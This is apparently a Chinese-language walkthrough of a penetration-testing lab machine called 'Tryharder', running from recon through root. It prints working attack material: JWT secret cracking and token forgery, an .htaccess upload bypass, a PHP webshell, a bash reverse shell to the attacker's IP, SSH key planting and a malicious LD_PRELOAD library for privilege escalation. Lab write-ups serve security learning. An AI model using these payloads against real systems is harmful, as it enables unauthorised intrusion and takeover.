一、信息收集

1.1 主机发现

使用 arp-scan 工具扫描局域网内的存活主机:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.138 08:00:27:3E:2A:58       PCS Systemtechnik GmbH
...

发现目标主机: 192.168.205.138

1.2 端口扫描

对目标主机进行全端口扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.138
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

开放端口:

1.3 UDP端口扫描

扫描常用UDP端口,未发现有价值信息:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -sU --top-ports 100 192.168.205.138
...
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
...

二、Web渗透

2.1 初步信息收集

访问 http://192.168.205.138,发现一个"西溪湖科技"公司页面,页面功能主要为锚点跳转。

查看页面源码时发现隐藏的注释信息:

/* 调试信息:API路径 /NzQyMjE= */

2.2 Base64解码

识别到 NzQyMjE= 为Base64编码,进行解码:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ echo 'NzQyMjE=' | base64 -d
74221

访问解码后的路径 http://192.168.205.138/74221/,发现一个登录页面。

2.3 目录扫描

使用 gobuster 对该目录进行扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u http://192.168.205.138/74221/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js -t 64
...
/index.php            (Status: 200) [Size: 2174]
/uploads              (Status: 301) [--> http://192.168.205.138/74221/uploads/]
/dashboard.php        (Status: 302) [Size: 0] [--> index.php]
...

发现目录:

2.4 弱密码爆破

基于页面中的关键词 Xiixhu,构造用户名字典进行密码爆破:

用户名字典:

admin
test
guest
user
Xiixhu

使用Burp Suite进行爆破,成功获得凭证:

凭证: test:123456


三、JWT令牌伪造

3.1 JWT分析

登录后抓包发现使用JWT进行身份认证:

Cookie: jwt_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJyb2xlIjoidXNlciIsImV4cCI6MTc2MTM5NDc5MH0.tGdne-jmzu_HPTgoT30sF4SKhN0mD9ogRep0z8pUjnw

解码JWT载荷发现:

{
  "sub": "123",
  "role": "user",
  "exp": 1761394790
}

当前角色为 user,需要提升至 admin 才能获得文件上传权限。

3.2 JWT密钥爆破

使用 jwt_tool 进行密钥爆破:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x/jwt_tool]
└─$ python3 jwt_tool.py -C -d /usr/share/wordlists/seclists/Passwords/scraped-JWT-secrets.txt 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
...
[+] jwtsecret123 is the CORRECT key!
...

成功爆破密钥: jwtsecret123

3.3 伪造管理员令牌

使用在线JWT工具(如 jwt.io)或命令行工具,将 role 修改为 admin,并且sub改成999

伪造的JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3NjEzOTQ3OTB9.[签名部分]

将伪造的JWT替换到Cookie中,成功获得管理员权限。


四、文件上传GetShell

4.1 上传限制绕过

尝试上传PHP文件时提示只允许 jpgpng 格式。测试多种绕过方式:

绕过步骤

步骤1:上传 .htaccess 文件

创建 .htaccess 文件,内容如下:

<IfModule mime_module>
    SetHandler application/x-httpd-php 
</IfModule>

该配置使当前目录下所有文件都被当作PHP执行。

步骤2:上传PHP Webshell

上传 cmd.php

<?php
system($_GET['cmd']);
?>

4.2 反弹Shell

访问上传的webshell:

http://192.168.205.138/74221/uploads/999/cmd.php?cmd=bash -c 'bash -i >& /dev/tcp/192.168.205.128/4444 0>&1'

本地监听端口:

nc -lvnp 4444

成功获得 www-data 权限的Shell。

4.3 Shell稳定化

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 36 columns 178

五、权限提升

5.1 信息收集

发现隐藏端口

www-data@Tryharder:/home$ ss -tnlp
...
LISTEN  0  5  127.0.0.1:8989  0.0.0.0:*
...

发现本地8989端口开放服务。

发现关键文件

/srv 目录下发现两个可疑文件:

www-data@Tryharder:/srv$ ls -al
...
-rw-r--r--  1 root root  161 Mar 23  2025 ...
-rwx------  1 xiix xiix 1012 Mar 23  2025 backdoor.py

发现密码提示

/home/pentester/.note 中发现提示:

Two cities clashed in tale: Smash Caesar, buddy, to pass.

提示涉及双城记(A Tale of Two Cities)和凯撒密码

5.2 密码解密

收集密文

从多个位置收集到两段相似文本:

明文(来自passwd文件的GECOS字段):

Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...

密文(来自/srv/...文件):

Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu../

隐写解密思路

对比两段文本,相同字符记为 0,不同字符记为 1,得到二进制序列,每8位转换为ASCII字符:

text1 = "Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight..."
text2 = "Iuwbtthfbetuoftimfs\"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu../"

binary = ""
for i in range(min(len(text1), len(text2))):
    if text1[i] == text2[i]:
        binary += "0"
    else:
        binary += "1"

result = ""
for i in range(0, len(binary), 8):
    byte = binary[i:i+8]
    if len(byte) == 8:
        result += chr(int(byte, 2))

print(f"{result}")

输出结果: Y0U_5M4SH3D_17_8UDDY

5.3 横向移动至pentester用户

使用解密得到的密码:

www-data@Tryharder:/home$ su pentester
Password: Y0U_5M4SH3D_17_8UDDY
pentester@Tryharder:/home$ id
uid=1000(pentester) gid=1000(pentester) groups=1000(pentester)

检查sudo权限

pentester@Tryharder:/home$ sudo -l
...
User pentester may run the following commands on tryharder:
    (ALL : ALL) NOPASSWD: /usr/bin/find

find命令被篡改

尝试常规的sudo提权方式失败:

pentester@Tryharder:/home$ sudo find . -exec /bin/bash \; -quit
find: critical error - Segmentation fault (core dumped)

经检查,/usr/bin/find 已被替换为自定义的安全版本,禁用了 execokprintfls 等危险参数(但是他竟然没ban delete ,打不进去就毁灭模式😊 )。

提权路径暂时受阻,转向其他方向。

5.4 横向移动至xiix用户

测试8989端口服务

pentester@Tryharder:/tmp$ busybox nc 127.0.0.1 8989
Enter password: Y0U_5M4SH3D_17_8UDDY
Access granted!
shell> id
uid=1001(xiix) gid=1001(xiix) groups=1001(xiix)

**成功访问!**密码为之前解密得到的 Y0U_5M4SH3D_17_8UDDY,获得了一个受限shell环境。

写入SSH公钥

在受限shell中创建SSH目录并写入公钥:

shell> cd
shell> mkdir .ssh
shell> cd .ssh
shell> echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtNESRfORlUdKO8kWioi3avqR24y4ASUNKAdR2HKASWJQJFzs3nVZbsJjFdxMVSNsOQUZFBxf5PVNyyGOdk7ccN4uAtltAAD2U8HN5GgXxmqqQKptXj9c8aSthRLWpaW3YLIXaMIDzXiRtGtycWNseLjc375ZwL7CHaoa+ZMi/CyooEmdOVvHdTWvueEm7Uj00YRu7KXsB/8xqtP+DMC+c5Dw8xC+XFqTTTsMFsRvvMZ1CIbB+G1YTlWBM9k4MZw+pwBpKDqFMxY1lkfMXuflsRR+PJAqWwJaZ+SQe09ZRDjvjF3IIkYt2uOy1SW9UHHDtnTfODbQyjP2KmTf6FZszCXwq2KiEX79M18MeQsG7XCbCqaytuC3fq4iOWJs0KT5BilrzGWG4g5hIoIQS9omASpsca2WDV9/jhx07vcmN91UsSjqRCr0WH+mQyHz8JnJB66JtZF4MWwQYcl5O7GfdSZl1sQo6jKCMuQW75kNTNMmF6URSGWpOcpKDQd/fdK35PqEA3ibbM+F71B4hmlcTgZBH+u/k8xyDdi886+GyGoAzmDCabEMa7hyRVkkuIgs5ngg9RsvWOlGpLkay1T7q3JZ+3DMLX0sz6eGAwocTJF5D5VoLmp3fzaKdEDE9WBTLn0vXLT8qpzFmtrOvMNB3O25+JS0Liw3vY7YFHvErFQ== kali@kali' > /home/xiix/.ssh/authorized_keys
shell> exit
Goodbye!

SSH登录xiix用户

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh xiix@192.168.205.138
...
xiix@Tryharder:~$ id
uid=1001(xiix) gid=1001(xiix) groups=1001(xiix)

成功获得xiix用户的完整shell!

5.5 猜数字游戏分析

在xiix用户家目录发现一个二进制程序:

xiix@Tryharder:~$ ls -al
...
---x------ 1 xiix xiix 17584 Mar 25  2025 guess_game
...

程序功能

xiix@Tryharder:~$ ./guess_game
===== 终极运气挑战 / Ultimate Luck Challenge ====
规则很简单: 我心里有个数字(0-99),你有一次机会猜。
I have a number (0-99), you get one guess.
猜对了,我就把属于你的东西给你;猜错了?嘿嘿,后果自负!
Guess right, I'll give your reward; wrong? Hehe, face the consequences!
提示: 聪明人也许能找到捷径。
Hint: Smart ones might find a shortcut.
输入你的猜测(0-99) / Your guess (0-99): 50
哈哈,猜错了! / Wrong guess!
秘密数字是 51。 / Secret number: 51
正在格式化你的硬盘...(开玩笑的啦!) / Formatting disk... (Kidding!)

这是一个猜数字游戏,需要猜中0-99之间的随机数。根据提示"聪明人也许能找到捷径",可以采用暴力循环的方式:

暴力破解

xiix@Tryharder:~$ while true; do echo 25 | ./guess_game; done
...
天哪!你居然猜对了!运气逆天啊! / You got it! Amazing luck!
Pass: superxiix
...

获得密码: superxiix

5.6 LD_PRELOAD提权

检查sudo权限

xiix@Tryharder:~$ sudo -l
[sudo] password for xiix: superxiix
Matching Defaults entries for xiix on tryharder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD

User xiix may run the following commands on tryharder:
    (ALL : ALL) /bin/whoami

关键配置: env_keep+=LD_PRELOAD

这是一个典型的LD_PRELOAD提权场景。当sudo配置允许保留 LD_PRELOAD 环境变量时,可以通过预加载恶意共享库来劫持程序执行。

LD_PRELOAD提权原理

LD_PRELOAD 是Linux动态链接器的一个环境变量,用于在程序运行前预加载指定的共享库。当共享库中定义了 _init() 函数时,该函数会在程序main函数之前自动执行。

编写恶意共享库

xiix@Tryharder:/tmp$ cat a.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

代码说明: